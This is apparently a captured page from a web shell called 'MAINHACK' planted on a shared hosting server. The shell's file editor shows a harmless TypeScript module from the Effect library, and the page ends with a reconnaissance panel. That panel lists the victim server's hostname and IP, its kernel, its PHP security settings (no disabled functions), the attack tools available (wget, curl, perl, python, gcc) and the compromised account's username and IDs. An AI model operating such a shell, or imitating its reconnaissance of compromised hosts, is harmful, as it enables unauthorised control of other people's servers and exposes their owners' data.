[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: redacted.ts
import * as Equal from "../Equal.js" import { pipe } from "../Function.js" import { globalValue } from "../GlobalValue.js" import * as Hash from "../Hash.js" import { NodeInspectSymbol } from "../Inspectable.js" import { pipeArguments } from "../Pipeable.js" import { hasProperty } from "../Predicate.js" import type * as Redacted from "../Redacted.js" /** @internal */ const RedactedSymbolKey = "effect/Redacted" /** @internal */ export const redactedRegistry = globalValue( "effect/Redacted/redactedRegistry", () => new WeakMap<Redacted.Redacted<any>, any>() ) /** @internal */ export const RedactedTypeId: Redacted.RedactedTypeId = Symbol.for( RedactedSymbolKey ) as Redacted.RedactedTypeId /** @internal */ export const proto = { [RedactedTypeId]: { _A: (_: never) => _ }, pipe() { return pipeArguments(this, arguments) }, toString() { return "<redacted>" }, toJSON() { return "<redacted>" }, [NodeInspectSymbol]() { return "<redacted>" }, [Hash.symbol]<T>(this: Redacted.Redacted<T>): number { return pipe( Hash.hash(RedactedSymbolKey), Hash.combine(Hash.hash(redactedRegistry.get(this))), Hash.cached(this) ) }, [Equal.symbol]<T>(this: Redacted.Redacted<T>, that: unknown): boolean { return isRedacted(that) && Equal.equals(redactedRegistry.get(this), redactedRegistry.get(that)) } } /** @internal */ export const isRedacted = (u: unknown): u is Redacted.Redacted<unknown> => hasProperty(u, RedactedTypeId) /** @internal */ export const make = <T>(value: T): Redacted.Redacted<T> => { const redacted = Object.create(proto) redactedRegistry.set(redacted, value) return redacted } /** @internal */ export const value = <T>(self: Redacted.Redacted<T>): T => { if (redactedRegistry.has(self)) { return redactedRegistry.get(self) } else { throw new Error("Unable to get redacted value") } } /** @internal */ export const unsafeWipe = <T>(self: Redacted.Redacted<T>): boolean => redactedRegistry.delete(self)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344